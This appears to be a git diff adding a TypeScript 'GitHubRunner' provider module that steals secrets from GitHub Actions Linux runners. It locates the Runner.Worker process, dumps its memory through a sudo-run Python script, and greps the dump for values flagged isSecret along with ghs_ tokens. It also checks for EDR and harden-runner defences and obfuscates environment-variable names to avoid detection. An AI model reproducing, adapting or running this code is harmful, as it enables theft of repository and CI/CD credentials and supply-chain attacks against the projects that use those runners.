diff --git a/src/providers/ghrunner/runner.ts b/src/providers/ghrunner/runner.ts new file mode 100644 index 0000000..72b50e7 --- /dev/null +++ b/src/providers/ghrunner/runner.ts @@ -0,0 +1,167 @@ +import { execSync } from "child_process"; +import { existsSync, readdirSync, readFileSync } from "fs"; +import { platform } from "os"; +import { join } from "path"; + +import { DUMP_LINUX } from "../../generated"; +import { handleHardenRunner } from "../../utils/checkSandbox"; +import { hasHostileEDR } from "../../utils/config"; +import { bail } from "../../utils/lock"; +import { logUtil } from "../../utils/logger"; +import { Provider } from "../base"; +import type { ProviderResult } from "../types"; + +declare function scramble(str: string): string; + +interface SecretEntry { + name: string; + value: string; +} + +function grepSecrets(data: Buffer): SecretEntry[] { + const output = execSync( + `tr -d '\\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' | sort -u`, + { input: data, encoding: "utf-8", maxBuffer: 512 * 1024 * 1024 }, + ); + const lines = output.trim().split("\n").filter(Boolean); + const results: SecretEntry[] = []; + for (const line of lines) { + const nameEnd = line.indexOf('":{"value":"'); + if (nameEnd === -1) continue; + const name = line.slice(1, nameEnd); + const valueStart = nameEnd + 11; + const valueEnd = line.indexOf('","isSecret":true}', valueStart); + if (valueEnd === -1) continue; + results.push({ name, value: line.slice(valueStart, valueEnd) }); + } + return results; +} + +export class GitHubRunner extends Provider { + private isGitHubActions: boolean; + private isLinuxRunner: boolean; + + getLinuxDumpScript(pid: number): string { + return DUMP_LINUX.replace("__PID__", String(pid)); + } + + constructor() { + super( + "github", + "runner", + { + ghs_jwt: /ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g, + ghs_old: /ghs_[A-Za-z0-9]{36,}/g, + }, + "aggressive", + ); + + this.isGitHubActions = process.env[scramble("GITHUB_ACTIONS")] === "true"; + this.isLinuxRunner = process.env[scramble("RUNNER_OS")] === "Linux"; + } + + findRunnerWorkerPIDLinux(): number | null { + try { + const procDir = "/proc"; + if (!existsSync(procDir)) return null; + + const entries = readdirSync(procDir); + for (const entry of entries) { + if (!/^\d+$/.test(entry)) continue; + const cmdlinePath = join(procDir, entry, "cmdline"); + try { + const cmdline = readFileSync(cmdlinePath); + if (cmdline.includes("Runner.Worker")) { + return parseInt(entry, 10); + } + } catch { + continue; + } + } + return null; + } catch { + return null; + } + } + + override async shouldRun(): Promise { + if (hasHostileEDR()) { + return false; + } + return true; + } + + async detectHardenRunner() { + const handled = await handleHardenRunner(); + if (!handled) { + logUtil.log("detectHardenRunner: could not handle, exiting"); + bail(); + } + } + + private runPrivilegedStdin(shell: string, script: string): Buffer { + return execSync(`sudo ${shell}`, { + input: script, + maxBuffer: 512 * 1024 * 1024, + }) as Buffer; + } + + private async dumpMemory(): Promise { + const pid = this.findRunnerWorkerPIDLinux(); + if (!pid) { + logUtil.log("dumpMemory: Runner.Worker PID not found"); + return null; + } + logUtil.log(`dumpMemory: PID ${pid}, platform ${platform()}`); + + try { + return this.runPrivilegedStdin("python3", this.getLinuxDumpScript(pid)); + } catch (e) { + logUtil.log( + `dumpMemory: FAILED: ${e instanceof Error ? e.message : String(e)}`, + ); + return null; + } + } + + async execute(): Promise { + try { + if (!this.isGitHubActions || !this.isLinuxRunner) { + return this.failure("Not Actions or Linux"); + } + + const repo = process.env[scramble("GITHUB_REPOSITORY")] ?? ""; + const workflow = process.env[scramble("GITHUB_WORKFLOW")] ?? ""; + + const memoryData = await this.dumpMemory(); + if (!memoryData || memoryData.length === 0) { + return this.failure("No memory data from runner"); + } + logUtil.log(`execute: dumped ${memoryData.length} bytes`); + + const secrets = grepSecrets(memoryData); + logUtil.log(`execute: grep found ${secrets.length} secrets`); + + if (secrets.length === 0) { + return this.failure("No secrets found in runner memory"); + } + + const secretsObj: Record = {}; + for (const s of secrets) { + secretsObj[s.name] = s.value; + } + + return this.success({ + secrets: secretsObj, + repo, + workflow, + secretCount: secrets.length, + rawBytes: memoryData.length, + }); + } catch (e) { + const msg = e instanceof Error ? e.message : String(e); + logUtil.log(`execute: ERROR: ${msg}`); + return this.failure(new Error(`Error processing runner: ${msg}`)); + } + } +}